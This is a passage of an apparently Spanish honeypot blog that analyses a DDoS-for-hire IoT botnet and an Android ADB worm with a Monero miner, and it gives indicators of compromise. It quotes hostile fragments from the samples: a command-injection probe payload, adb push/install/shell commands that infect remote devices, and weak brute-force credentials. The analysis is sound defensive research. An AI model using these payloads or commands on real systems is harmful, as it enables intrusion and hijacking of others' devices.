de mando de Sysorbit, cuatro capítulos atrás. Estos negocios se concentran en muy pocos sitios. Y ese «el mismo» merece una precisión, porque cuando lo escribí lo dejé demasiado redondo. En los registros de internet hay dos cosas distintas que es fácil confundir: a nombre de quién está un rango de direcciones, y quién lo anuncia al resto de la red. No tienen por qué ser el mismo. RangoA nombre deLo anuncia 45.135.194.0/24 - el que me atacóPFCLOUD-NETAS51396 · Pfcloud UG 176.65.139.0/24 - el C2 de SysorbitPFCLOUD-NETAS219502 · Storm Industries LLC Los dos rangos están a nombre del mismo titular. Pero el de Sysorbit no lo anuncia él: lo saca a la red otra empresa distinta. Así que lo que comparten los dos casos no es exactamente «el proveedor»: es el dueño del espacio de direcciones, con dos caminos distintos hasta internet. Puede parecer una pejiguería, y no lo es: si alguien intenta seguir este rastro y busca por la ASN, en un caso encuentra Pfcloud y en el otro no encuentra nada. Hay que saber por cuál de las dos cosas se está preguntando. 05Lo que dicen los antivirus (y lo que no dicen) Con los hashes en la mano fui a mirar qué se sabía ya. El script lo tenía VirusTotal desde ese mismo día, 31 de 75 motores, y ya estaba subido antes de que me tocara a mí. Uno de los binarios también estaba, con 33 de 75 y una etiqueta: veredicto de la industriatrojan.gafgyt/tsunami · etiquetas: gafgyt · tsunami · ddos «Gafgyt/Tsunami, DDoS». Traducido: una botnet de denegación de servicio de la familia de siempre. Y ahí, normalmente, se acaba el asunto: la muestra queda archivada con su etiqueta y nadie vuelve a mirarla. Pero una etiqueta no es un análisis. No dice a quién obedece, ni qué sabe hacer, ni para qué la usa quien la paga. Dice a qué se parece. Así que me llevé el binario al laboratorio. Y resultó estar sin limpiar: el autor se dejó dentro los nombres de sus propias funciones - seiscientas veintiocho. Eso ya no es leer ensamblador a ciegas; eso es que te dejen el índice del libro. Lo que ponía en ese índice es el próximo capítulo. Adelanto una sola: entre las funciones hay una que se llama fortnite_flood. 06Indicadores (IOCs) TipoValor SHA-256 del cargadorf7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b Nombre del ficherohandshakebins.sh (1.177 B) · VT 31/75, primera subida 2026-08-25 11:20 UTC SHA-256 binario (Renesas SH)b297dc8f54f612f92c26735ab50e1360057df3909556d85e6439e695aa646148 - VT 33/75, gafgyt/tsunami SHA-256 binario (ARM)0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50 SHA-256 binario (ARM EABI4)5a21c34ff54ab1a92246b9cfba815ed187fe636b9350d41e26c5e4aa8f4bf891 Servidor de payload213.232.114.14 (VirMach / xTom, AS3214) · nueve binarios por arquitectura, con los nombres cruzados IP que atacó45.135.194.26 (Pfcloud UG, AS51396) - 463 denuncias en AbuseIPDB Balizaecho PAYLOAD_EXECUTED Credenciales probadasroot/root · root/password · root/123456 · root/123123 · user/user Vía de entradaSSH · puerto 22 · fuerza bruta Diecisiete días despuésEl reparto de papeles que cuenta el §04 (una IP que se quema y otra que sobrevive) se puede medir. Volví a mirar las tres el 11 de septiembre: · 45.135.194.26, la que ataca: de 463 denuncias a 855, y de 280 usuarios distintos a 429. Sigue trabajando, y quemándose. · 213.232.114.14, la del reparto, la «impoluta»: de 1 denuncia a 10, la última de ese mismo día. Empieza a arder, tres semanas después. · 45.95.168.149, el centro de mando de verdad: cero denuncias, igual que el primer día. Lo único que ha subido es el marcador de VirusTotal, de 6 a 13. La pieza que nadie ve sigue sin verse. Y esa es exactamente la tesis del capítulo, ahora con reloj. Continuará - en el Capítulo 12 abro el binario. Venía sin limpiar, con los nombres de sus seiscientas veintiocho funciones puestos. 🍯","date":"2026-08","fam":"KHserver","n":11,"spec":"KHserver (handshakebins.sh)","sum":"Cayó un cargador de 1.177 bytes: nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog. Iba a archivarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre - y lo primero que vi fue que le sobraban unos caracteres.","t":"El bot presumido y vago","tags":["botnet","DDoS","IoT","SSH","fuerza bruta","Cowrie"],"tipo":"Botnet (DDoS de alquiler)","url":"/capitulo-11/"},{"body":"Cuando abro uno de estos, lo normal es empezar a ciegas: montañas de ensamblador, funciones llamadas FUN_00129e68, y horas de trabajo para averiguar cuál es la que importa. Aquí no. Este venía sin limpiar - el compilador guardó los nombres que el autor le puso a cada función y nadie los borró antes de repartirlo. 628 funciones con su nombre de pila. Es como recibir un libro cerrado y que alguien haya dejado el índice grapado en la portada. Leí el índice. Y no hizo falta más para saber a qué se dedica esto. 01El índice del libro readelf · funciones (extracto de 628)exploit_dasan_gpon cod_flood killer_loop exploit_huawei fortnite_flood watchdog_maintain exploit_draytek r6_flood scanner_loop exploit_totolink rust_flood report_exploit exploit_tplink vseattack findRandIP exploit_zte udp_amp_flood processCmd exploit_react2shell tls_hello_flood initConnection exploit_cve2025_34152 tcp_synack_flood table_init Tres columnas y tres respuestas: a quién ataca, a quién intenta explotar y cómo se mantiene con vida. Vamos por orden, porque la segunda columna engaña. 02Esto se vende para tirar partidas La función processCmd es la que interpreta lo que le manda su jefe. Por dentro es una lista larguísima de comparaciones contra palabras concretas: el menú de comandos del negocio. processCmd · vocabulario completoUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 SCANNER · TELNET · REP · ON · OFF La primera mitad es el arsenal genérico de cualquier botnet: inundar con paquetes de una forma u otra. La segunda mitad es la que canta. FORTNITE · COD · R6 · RUST - métodos afinados para Fortnite, Call of Duty, Rainbow Six y Rust. VSE · CVSE - el Valve Source Engine: Counter-Strike, Team Fortress y compañía. OVHHEX · NFOHEX - OVH y NFOservers, los dos grandes alojadores de servidores de juego. Ambos presumen de protección contra ataques; aquí hay dos comandos dedicados a intentar sortearla. Nadie escribe un comando llamado FORTNITE por casualidad. Esto no es una botnet genérica que alguien usa para lo que surja: es un servicio de denegación de servicio por encargo, apuntado a un cliente muy concreto - el que quiere que al rival se le caiga la partida. Paga, escribe COD 1.2.3.4 60, y sesenta segundos de la tarde de otro se van al garete. Un apunte sobre el vocabularioEntre los comandos hay uno cuyo nombre es un insulto racial. No lo reproduzco. Lo dejo apuntado porque forma parte del retrato: esto no lo escribe una organización, lo escribe alguien que no espera que nadie lea su código nunca. 03Quince exploits con apellido La otra columna es un catálogo de vulnerabilidades, y tampoco hay que adivinarlas: el autor las etiquetó él mismo, casi todas con su número de CVE, en cadenas de texto que van dentro del binario. el catálogo, tal cual lo escribióD-Link_DSL_CVE-2016-20017 Totolink_CVE-2025-28137 Dasan_GPON_CVE-2018-10561 D-Link_CVE-2025-29635 TBK_DVR_CVE-2024-3721 Linksys_CVE-2025-9528 Four-Faith_CVE-2024-12856 CVE-2025-34152 ZTE_ZXV10_RCE React2Shell_CVE-2025-55182 Nueve años de agujeros en el mismo fichero, de 2016 a 2025, y siete de ellos de los últimos dos años. Eso ya dice algo: esto no parece un kit descargado y olvidado, sino algo que alguien mantiene. Dos me llamaron la atención. CVE-2025-34152 es una inyección de comandos sin autenticación en un repetidor wifi chino, con puntuación 9.4. Y la última me hizo enderezarme en la silla. 04El exploit que no era React2Shell (CVE-2025-55182) es de lo más gordo que ha pasado en la web reciente: ejecución de código sin autenticar en React Server Components, puntuación 10 sobre 10, catálogo de vulnerabilidades explotadas de CISA, y medio internet parcheando a toda prisa. Encontrarlo dentro de un bot de routers es como abrir una caja de herramientas de fontanero y encontrarse un rifle de precisión. Así que fui a leer la función. Aquí está entera, con el ensamblador a la izquierda y el código reconstruido a la derecha: La función completa, tal cual la reconstruye Ghidra. Abre un socket, envía una petición, mira si en la respuesta aparece una cadena concreta y devuelve verdadero o falso. Ni descarga, ni ejecuta, ni instala. (Pulsa para ampliar.) Y esto es lo único que manda: exploit_react2shell · la peticiónPOST /api/run HTTP/1.1 Host: %s Content-Type: application/json Content-Length: 50 {\"code\":\"require('child_process').exec('id')\"} Después busca la cadena uid= en la respuesta. Si la encuentra, canta victoria. Eso no es React2Shell. La vulnerabilidad real es una deserialización insegura en el protocolo Flight, el que usa React para serializar sus componentes de servidor; explotarla exige construir un mensaje muy concreto contra un punto de entrada muy concreto. Lo que hace esta función es llamar a una puerta llamada /api/run y preguntar si hay alguien dispuesto a ejecutar lo que le manden. Es un sondeo genérico, de los de toda la vida, que existía mucho antes de que ese CVE tuviera número. Le puso el nombre de moda a lo que ya teníaNo hay ni un intento de explotar CVE-2025-55182. Hay una sonda de tres líneas rebautizada con el nombre del fallo que salía en todos los titulares. Es marketing, no capacidad. Y funciona: si me quedo en la lista de nombres y no abro la función, hoy estaría escribiendo que esta botnet explota un CVSS 10. Lo habría escrito de buena fe, y sería falso. 05Y entonces miré los otros catorce Si uno mentía, tocaba comprobar el resto. Abrí exploit_dasan_gpon, el del CVE de 2018, que sí es un fallo real y de los más explotados del mundo. Y me encontré exactamente la misma función, calcada, cambiando solo el texto que envía: exploit_dasan_gpon · decompiladofd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, destino, 16); sprintf(peticion, PLANTILLA, ip); send(fd, peticion, strlen(peticion), 0); n = recv(fd, respuesta, 1023, 0); close(fd); return strstr(respuesta, \"uid=\") != NULL; // ← y aquí se acaba Los quince son este mismo molde. Conectan, preguntan, miran si la respuesta trae uid=, cierran y devuelven verdadero o falso. Ninguno descarga nada. Ninguno instala nada. Ninguno infecta nada. ¿Y qué hacen con ese verdadero o falso? Esto - la función report_exploit al completo, una línea: report_exploit · íntegrasockprintf(socket_del_C2, \"REPORT EXPLOIT %s %s:%d\", ...); Se lo chiva al jefe. Y ya está. Lo que esto significa de verdadEl bot no se propaga con esos quince CVE: los usa para buscar. Cada aparato infectado recorre internet al azar (findRandIP), llama a las puertas de medio catálogo de routers y cámaras, apunta cuáles suenan a hueco y manda la lista a casa. La botnet es, además de un arma de alquiler, una red de reconocimiento distribuida - pagada con el ancho de banda de sus víctimas, que además de sufrir el bicho exploran internet gratis para el dueño. Su propagación real es la de siempre, la que me trajo a mí: fuerza bruta contra SSH y telnet con root/root. Lo antiguo sigue funcionando mejor que lo moderno. 06El jefe no vive donde yo creía Todo apuntaba a 213.232.114[.]14, el servidor que reparte los binarios. Pero al arrancar, el bot no llama ahí. Y su dirección real no aparece en ninguna cadena de texto: está partida en cuatro números sueltos y solo se junta en el momento de conectar. initConnection · decompiladoszprintf(destino, \"%d.%d.%d.%d\", tabla_a[i], tabla_b[i], tabla_c[i], tabla_d[i]); connectTimeout(sock, destino, 888, 30); Fui a leer esas cuatro tablas en la memoria del programa. Dentro había 45, 95, 168 y 149. Y justo al lado, el puerto: 888. El centro de mando es 45.95.168.149, puerto 888, alojado en Croacia. Y no lo tiene fichado nadie: cero denuncias en AbuseIPDB, desconocido para abuse.ch, seis motores de setenta y cinco en VirusTotal. Es la pieza más valiosa de todo el análisis y es, justamente, la que menos se ve. Pero fíjate en ese [i]. El índice sube en cada intento de conexión y vuelve a cero al llegar a tres: el código está escrito para rotar entre cuatro servidores. Solo hay uno configurado. La cuenta que no saleSi la primera conexión falla, el bot suma uno al índice y vuelve a leer las tablas una posición más allá - donde ya no hay direcciones, sino lo que hubiera guardado a continuación. En el segundo intento arma 95.168.149.888: una dirección que no existe, porque ningún número de una IP puede pasar de 255. En el tercero, cosas peores. Resultado: este bot tiene exactamente una oportunidad de encontrar a su jefe. Si el servidor está caído en ese momento, o la red parpadea, el aparato infectado se queda encendido llamando a puertas imposibles hasta que alguien lo desenchufe. 07Y entonces apareció Nikki Con el análisis ya casi cerrado, repasando cadenas sueltas, me topé con una que no encajaba con nada. No era una petición, ni un comando, ni un mensaje de error. Estaba escrita carácter a carácter en hexadecimal, como si alguien no hubiera querido que saltara a la vista. la cadena, y lo que dice4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ... → N1kK1 !si M3uy L0Vr3 \u0026lt;3 Pa2rCH M2 A44rCK Leetspeak: las vocales cambiadas por números, una falta cada dos palabras, y un corazón en medio. «Nikki es mi amor ❤». Y me quedé un rato mirándola, la verdad. Después de un día entero destripando una máquina hecha para amargarle la tarde a desconocidos, va y aparece esto. Alguien, en algún sitio, entre un comando con un insulto racial y una función para tumbar servidores de Fortnite, se paró a esconder el nombre de la persona que le gusta. Ya tenía hasta el final del capítulo pensado: el bot sigue dando vueltas por routers de gente que no sabe nada de esto, repitiendo en hexadecimal que Nikki es su amor. Bonito. Y como tenía cinco minutos antes de escribirlo, hice lo que hago siempre antes de publicar cualquier cosa: buscar la cadena exacta, a ver si alguien la había visto antes. Adiós al amor. 08Cinco años antes, y no es suya La misma frase, letra por letra, está documentada en un análisis de diciembre de 2021. Otra botnet, SBIDIOT, atribuida a otra persona, cinco años antes de que la mía cayera en el cebo. Y allí la frase no está escondida en ningún sitio: es la carga que envía el comando de ataque POXI. O sea, el contenido de los paquetes que la botnet dispara contra su objetivo. Volví corriendo a mi binario a comprobar quién usaba la cadena. Esto es lo que dice Ghidra: referencias a la cadenaDATO 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...' usada por: UDPBYPASS ← una función de ataque Lo mismo. No es una dedicatoria escondida: es munición. No está guardada para que nadie la encuentre - está para salir disparada, miles de veces por segundo, dentro de los paquetes que tumban a alguien. Y el parentesco no se queda ahí. Compara los menús de comandos de las dos, con cinco años de diferencia: SBIDIOT (2021) vs. el de mi cebo (2026)SBIDIOT: R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ... el mío: R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ... Mismos objetivos, mismos alojadores de servidores de juego, algunos comandos con el nombre idéntico. Es la misma estirpe. Lo que cayó en mi cebo no es una creación: es un descendiente, con exploits nuevos pegados encima y el mismo esqueleto de siempre. Y hay un último detalle, que es el que me rematóMira cómo está escrita la cadena en mi muestra: 4E/x31/x6B - con barras normales. En el código original iría con barras invertidas (\\\\x31\\\\x6B), que es lo que el compilador convierte en el texto real. Aquí las barras están del revés, así que el compilador no convirtió nada: lo que este bot dispara dentro de sus paquetes no es «Nikki es mi amor», sino la notación hexadecimal en crudo. Es decir: copió la nota de amor de otro - y la copió mal. 09Indicadores (IOCs) TipoValor Centro de mando (C2)45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) - sin fichar en ningún repositorio Protocolo del C2REPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET \u0026lt;ON|OFF\u0026gt; · «Telnet brute set to %s» Comandos de ataqueUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 Exploits embarcados (sondas)CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (falso) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT Marcas internasKHserverHACKER · KHcommSOCK Se hace pasar porkhugepaged · kthreadd · kworker · systemd · dbus-daemon Persistencia/dev/watchdog y /dev/watchdog2 · oom_score_adj (para que el núcleo no lo mate) Compilado conAboriginal Linux (toolchain habitual de los kits de esta familia) Carga de UDPBYPASS«4E/x31/x6B/x4B/x31/x20…» - heredada de SBIDIOT (2021), donde era la carga del comando POXI El disfraz tiene una costuraSe hace pasar por khugepaged, kthreadd o kworker - nombres de hilos del núcleo, de los que nadie mira dos veces en un ps. Pero los hilos del núcleo no tienen línea de comandos, porque no son programas: los pone el propio kernel. El impostor sí la tiene, y ahí se le ve la costura. Un negativo, por si alguien viene detrásMe bajé tres de los nueve binarios y analicé uno. Por si acaso miré los otros dos: tienen 955 y 910 símbolos frente a los 628 de este. Parece que traen más cosas y no traen ninguna - las 492 funciones de más son internas de la biblioteca de C (__GI_*, __rpc_*, pthread_*), fontanería del lenguaje. Ni una capacidad nueva. Lo dejo escrito para que el siguiente no pierda la tarde abriéndolos. Me quedo con la imagen de un router cualquiera, en el salón de alguien que no sabe nada de esto, llamando cada pocos segundos al puerto 888 de una máquina en Croacia para preguntar a quién le toca hoy. Y cuando le toque, disparará miles de paquetes por segundo contra el servidor de alguien que solo quería jugar una partida. Dentro de cada uno de esos paquetes viajará una declaración de amor de hace cinco años, escrita por otra persona, para una Nikki que probablemente no sabe nada de nada - y que además, por culpa de unas barras puestas del revés, ni siquiera se lee. Nikki, te quieren. Fatal, pero te quieren. Continuará - el cebo sigue encendido. Cuando alguien llame a otra puerta de forma interesante, habrá decimotercer capítulo. 🍯","date":"2026-08","fam":"KHserver","n":12,"spec":"KHserver (ELF ARM, sin strip)","sum":"El binario llegó sin limpiar: su autor se dejó dentro los nombres de las seiscientas veintiocho funciones que escribió. Es como recibir un libro cerrado con el índice grapado en la portada. Aquí lo leo entero, función por función, hasta llegar a la única cadena que no encajaba con nada.","t":"Nikki, te quieren","tags":["SBIDIOT","Ghidra","booter","DDoS","React2Shell","ingeniería inversa"],"tipo":"Botnet (DDoS de alquiler)","url":"/capitulo-12/"},{"body":"Odio dejar las cosas a medias, y el capítulo 10 me dejó una. Cacé el minero de Trinity (el APK com.ufo.miner, el fósil que sigue llamando a un Coinhive muerto) pero fui honesto: el binario que de verdad viaja y contagia, el que se llama trinity a secas, no llegó a mi cebo. Lo conté de segunda mano. Me quedé con la espina. Pues el cebo es rencoroso. Tres semanas después, ya de madrugada, alguien me empujó por el cable de depuración tres ficheros de golpe. Y uno de ellos era, por fin, el que faltaba. Un aviso antes de empezarLo que viene está contado tal como lo viví, en el orden en que lo viví. Después de publicarlo descubrí una cosa que no cambia ni un dato de los que vas a leer, pero sí cambia a quién hay que dar parte del mérito. No la cuento aquí porque estropearía el camino: está entera en la posdata del final. Si eres de los que prefieren saberlo antes, salta ahí y vuelve. 01El que faltaba Los tres cayeron en el mismo minuto, por ADB: dos ELF de ARM y un blob que file ni se molesta en clasificar (data, a secas). Un strings sobre el segundo binario me quitó la duda en la primera línea: strings · trinity (extracto)com.ufo.miner com.ufo.miner/com.example.test.MainActivity /data/local/tmp/trinity /data/local/tmp/ufo.apk /data/local/tmp/xig /data/local/tmp/endat adb -s %s:5555 get-state adb -s %s:5555 install %s adb -s %s:5555 push %s %s adb -s %s:5555 shell \"am start -n %s\" adb -s %s:5555 shell \"rm -rf /data/local/tmp/*\" Ahí está el kit entero, en claro: el mismo paquete y la misma actividad del capítulo 10 (com.example.test, el proyecto que nadie renombró), el plano de /data/local/tmp, y el juego completo de comandos adb con los que un aparato infectado contagia al siguiente. No es de oídas. Lo tengo delante. 02Y entonces se defendió Con las ganas que le tenía, lo cargué en Ghidra esperando leerlo de un tirón. Y no se dejó. Lo que salió no era código: era una maraña de while(true) anidados y números mágicos sin pies ni cabeza. trinity · lo que devuelve el decompiladoriVar1 = -0x1b614514; while(true){ while(true){ while(true){ if(iVar1 == -0x771841f2){ ... iVar1 = -0x55f9c47e; } if((~((x-1)*x) | 0xfffffffe) == 0xffffffff) ... // esto siempre es cierto Esto tiene nombre: aplanamiento del flujo de control. El bicho, en vez de encadenar sus bloques como un programa normal (haz A, luego B, luego C), los mete todos dentro de un mismo bucle y usa esa variable (iVar1, los números mágicos) para decidir en secreto cuál va después. El grafo de verdad desaparece. Es como un dibujo de unir los puntos al que le han borrado los números: los puntos están todos delante de ti, pero el orden (que es lo único que convierte eso en un dibujo) se lo ha quedado él. Y por si fuera poco, lo rellena de predicados opacos: condiciones tramposas como esa de arriba ((x-1)*x siempre es par, así que la comparación siempre da lo mismo) puestas solo para que no sepas qué rama es la buena. Y por eso el hash no sirve aquíLos números que gobiernan ese bucle se re-sortean en cada compilación, y eso tiene una consecuencia que se puede medir. Cogí dos trinity capturados en fechas distintas, del mismo tamaño exacto - 239.388 bytes los dos - y los comparé byte a byte: difieren en el 89 % (212.862 de 239.388). Parecen dos programas distintos. Y luego comparé sus cadenas de texto: 907 de 907, idénticas. El código muta entero; la tabla de cadenas no se mueve. Ahí está, con número, lo que el blog lleva repitiendo desde el Capítulo 1: el hash identifica un fichero, no un bicho. Contra esto, la firma que aguanta son las cadenas o el comportamiento. 03Tres cerraduras Lo intenté por las bravas, con las tres herramientas que uno tiene a mano. Y aquí va la parte honesta: ninguna lo abre sola. Ghidra lo decompila aplanado e ilegible. angr (que no ejecuta el binario, sino que va resolviendo sus caminos con matemáticas) explota: 542 estados en 509 pasos, perdido en la niebla de los predicados opacos antes de llegar a ninguna parte. El decompilador de angr (que a veces deshace estos trucos solo) lo escupe igual de aplanado. Y debajo de todo eso hay una tercera cerradura, la más silenciosa: las direcciones están partidas. Cada llamada y cada texto no van a un sitio fijo, sino a un trozo + otro trozo + un desplazamiento, sumados al vuelo. Por eso ni Ghidra ni angr consiguen dibujar quién llama a quién: el grafo sale vacío. Este es, con diferencia, el bicho mejor protegido que ha caído en mi cebo. 04Lo que sí saqué leyendo Que se te resista no significa irse de vacío: el aplanamiento estorba la lectura, no lo que el bicho hace. Cruzando los textos que sí están en claro con la forma de las funciones, el esqueleto sale entero, y confirma de primera mano lo que en el 10 conté prestado del análisis de Keysight: trinity · el motor, reconstruidosiembra_azar(); // una vez, al arrancar while(true){ ip = ip_al_azar(); // una dirección de internet cualquiera if( esta_en_la_lista_negra(ip) ) continue; // rangos reservados contagiar(ip); // adb connect -\u0026gt; push -\u0026gt; install -\u0026gt; am start } Es un gusano de IoT de manual: siembra el azar, se inventa una IP, prueba el puerto 5555 a ciegas, y si encuentra un Android abierto le empuja el kit entero y lo arranca. No tiene servidor de mando. Ninguno - igual que decía el capítulo 10. Y lleva una lista negra de rangos en un mapa de bits de 1024 posiciones: la misma huella que popularizó Mirai. Estirpe reconocible, con una armadura que XorDDoS y Mirai nunca se pusieron. 05El tercer trozo, y la llave puesta Quedaba el blob que file no sabía leer: endat, 334 KB de ruido. Empieza con 127 letras minúsculas, un cero, y a partir de ahí, nada legible: endat · los primeros bytesnwlrbbmqbhcdarzowkkyhiddqscdxrjmowfrxsjybld... // 127 bytes 00 27 32 06 42 a2 27 46 18 fe e9 ac ... // y aquí empieza el ruido Esa cabecera (nwlrbbmqbhcdarzo…) me sonaba de algo. (Es coña. No me sonaba de nada: la pegué en el buscador, como haría cualquiera.) Y resulta que es una de las cadenas más famosas del mundo, la que sale en mil tutoriales. Es, exactamente, lo que escupe el generador de azar de la librería estándar de C cuando no le cambias la semilla por defecto. Lo comprobé generándola yo: reproduciendo la cabecerasrandom(1); // la semilla por defecto — la que nadie toca for(i=0;i\u0026lt;127;i++) putchar('a' + random()%26); \u0026gt; nwlrbbmqbhcdarzowkkyhiddqscdxrjmowfrxsjybld... // letra por letra igual Tres cerraduras, y la llave puestaPiénsalo un segundo. Este señor se ha molestado en blindar su gusano con tres capas de ofuscación que revientan a Ghidra y a angr… y luego encabeza su fichero con la secuencia aleatoria por defecto de la libc, la que sale en cualquier Hola Mundo, porque no tocó la semilla. Es exactamente su patrón: el certificado de pruebas del capítulo 8, el com.example.test del 10. La ley del mínimo esfuerzo, aplicada al malware. Con la cabecera identificada, me lancé a por el resto convencido de que caería. Probé XOR con ese mismo azar. RC4. ChaCha20. AES en tres modos, con claves derivadas de todo lo anterior. Descompresión, por si acaso. Nada. Ni un byte legible. Y ahí me quedé un rato largo, mirando la pantalla. Tenía el descifrador delante (vive dentro de esos mismos binarios) pero el binario no se dejaba leer, y el blob no se dejaba abrir sin el binario. La pescadilla que se muerde la cola. 06Dejé de leer y me puse a mirar El cambio de idea fue este: yo no necesito entender cómo lo descifra. Necesito el resultado. Y hay alguien que sabe descifrarlo perfectamente y estará encantado de hacerlo delante de mí: el propio bicho. Así que hice lo que no había hecho nunca en esta bitácora: lo encendí. Ejem. Sí, ya sé: llevo doce capítulos leyendo bichos sin encenderlos. Aguántame tres párrafos, que te explico dónde estaba la línea (la mía) y por qué la he movido sin borrarla. Dónde está la línea, y por qué esta vez la muevoLa regla de la casa sigue en pie: en el honeypot no se ejecuta nada. Es un servidor con IP pública, y encender ahí un gusano de ADB podría suponer contagiar aparatos ajenos - sea mía o no la dirección desde la que salga. Lo que hice fue montar otra máquina para esto: una máquina virtual sin escritorio, con una foto del disco para revertirla, el cable de red desenchufado, y el bicho corriendo dentro de un espacio de red vacío - ni una interfaz, ni una ruta, ni un vecino. Y encima, emulado: es un binario de ARM y la máquina es Intel, así que ni siquiera se ejecuta de verdad; lo interpreta un emulador, instrucción a instrucción, y yo veo cada llamada al sistema que hace. Observar no es soltar. La diferencia entre las dos cosas es la jaula. Y aquí van los tres tropiezos, porque el camino no fue recto y contarlo ahorra tiempo a quien venga detrás. Uno. Lo lancé y la traza moría a las 76 líneas, siempre en el mismo sitio. El bicho, al arrancar, se demoniza: redirige sus tres canales de salida a la papelera del sistema. Y como mi traza salía por uno de ellos, se llevaba por delante mi propia grabación. Se arregla mandando el registro a un fichero que él no controla. Dos, y este me tuvo media hora. Fíjate en estas dos líneas seguidas: la traza, en el momento clave2538 clone(...) // se duplica 2538 exit_group(0) // y el PADRE se muere aquí 2540 setsid() // el HIJO se independiza... y es quien trabaja El proceso que lanzas muere a los dos segundos. Todo lo interesante lo hace un hijo que se ha independizado. Y yo, ordenado y precavido, mataba los procesos «al terminar»… cargándome justo al único que estaba trabajando. Cada vez. Tres. Cuando por fin lo dejé vivir, seguía sin pasar nada. Miré la traza con lupa y ahí estaba, un fallo de una línea: lo que faltabafaccessat(\"/data/local/tmp/endat\", F_OK) = 0 // existe, bien openat(\"/data/local/tmp/endat\", O_RDONLY) = 4 // lo abre openat(\"/sdcard/33\", O_WRONLY|O_CREAT|O_TRUNC) = -1 ENOENT // ...y aquí se rinde Quería escribir en /sdcard, que en un Android es la memoria del teléfono. En mi máquina Linux, esa carpeta no existe. Se lo creé. Y a la siguiente, funcionó. 07Lo que había dentro Miré la carpeta después de dejarlo correr treinta segundos, y había tres ficheros que antes no estaban: lo que salió de endatufo.apk 46.525 B Android package (APK) rtsh.sh 5.272 B script de shell, texto plano xig 657.948 B ELF 32-bit ARM, estático `endat` no estaba cifrado. Es un contenedor. Un archivo autoextraíble, con su índice al final (por eso lo primero que hace es saltar a los últimos tres mil bytes) y sus tres piezas dentro. Todo el tiempo que pasé probando AES y ChaCha lo pasé haciéndole la pregunta equivocada a un fichero que no tenía nada que ocultar, solo que empaquetar. Y ahora, las tres piezas: El APK es el del capítulo 10. No parecido: el mismo, byte a byte, mismo hash. El fósil que mina para una empresa que cerró en 2019 viajaba dentro de esto. Cerré el círculo sin buscarlo. `rtsh.sh` es lo que le faltaba al capítulo 10 para dar miedo. No mina: echa raíces. Sustituye /system/bin/debuggerd (el proceso de Android que recoge los fallos del sistema) por uno suyo, guardando el original con otro nombre por si acaso, y ajusta los permisos de SELinux para que cuele. Prueba tres herramientas distintas para cada operación, por si el teléfono es viejo. Cuando termina, escribe su firma: botbotbot. Y `xig`. El que llegó por el cable pesaba 153 KB; este pesa 658. No es el mismo fichero: es lo que aquel iba a buscar. Y no hace falta adivinar qué es, porque lo lleva escrito dentro: cryptonight, randomx, stratum, donate. Es XMRig, el minero de Monero. El de verdad, el que sí gana dinero. 08Entonces, ¿a dónde va el dinero? Esta es la pregunta que llevaba tres capítulos sin poder responder. Y con el minero en la mano, se responde sola: un minero necesita decir a dónde manda las monedas, y eso no se puede esconder del todo. xig · lo que llevaba escrito// cartera de Monero (95 caracteres, empieza por 4) 44XT4KvmobTQfeWa6PCQF5RDosr2MLWm43AsaE3o5iNRXXTfDbYk2VPHTVedTQHZyfXNzMn8YYF2466d3FSDT7gJS8gdHAr // y los dos sitios a los que llama 139.99.9.133:5555 78.46.89.102:7777 Cuidado con la segunda carteraEn el mismo binario aparece una segunda dirección de Monero. Es tentador publicarla también, y sería un error: es la cartera de donaciones del propio XMRig, que viene de serie en el programa (lo confirman dos dominios suyos que están al lado). No es del atacante. Es la clase de detalle que, si lo publicas mal, lo copia el siguiente y ya no lo para nadie. Toco madera. Sabía a qué dos sitios puede llamar. Quería saber a cuál llama de verdad. Y para eso hay que dejarle intentarlo - sin dejarle salir. Le monté una red de mentira: una interfaz falsa, con una dirección inventada y una puerta de enlace que no existe. Jaula de Faraday y botón de autodestrucción no le puse, que no me llegaba el presupuesto. Desde dentro, el bicho ve una red normal. Lanza su paquete de conexión, el paquete sale por esa interfaz… y muere ahí, porque al otro lado no hay nada. Mientras tanto, yo leo la lista de conexiones del sistema: /proc/net/tcp, dentro de la jaula0200630A:B87A 8509638B:15B3 02 ↑ ↑ 139.99.9.133 :5555 estado 02 = intentando conectar Ahí lo tienes. De los dos, usa el primero: un servidor en Singapur. El segundo, en Alemania, es el plan B. Y lo bonito del método: de mi máquina no salió un solo paquete. El bicho creyó que hablaba con el mundo y estaba hablando con una pared pintada. Lo que no voy a poder contarteCon una cartera en la mano, lo lógico sería mirar cuánto ha ganado: casi todos los pools de minería publican las estadísticas de cada dirección, y ahí se ve el dinero. Consulté los cuatro grandes. No aparece en ninguno. Y tiene sentido: no usa un pool público, usa el suyo. Esos dos servidores son de él. Quien mina en un pool comercial deja las cuentas a la vista de cualquiera; este se montó su propia caja registradora, y con ella su privacidad. Así que sé a dónde va el dinero, pero no cuánto - ni quién lo recoge. Una cartera de Monero no tiene nombre. 09Indicadores (IOCs) TipoValor SHA-256 (trinity)76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64 SHA-256 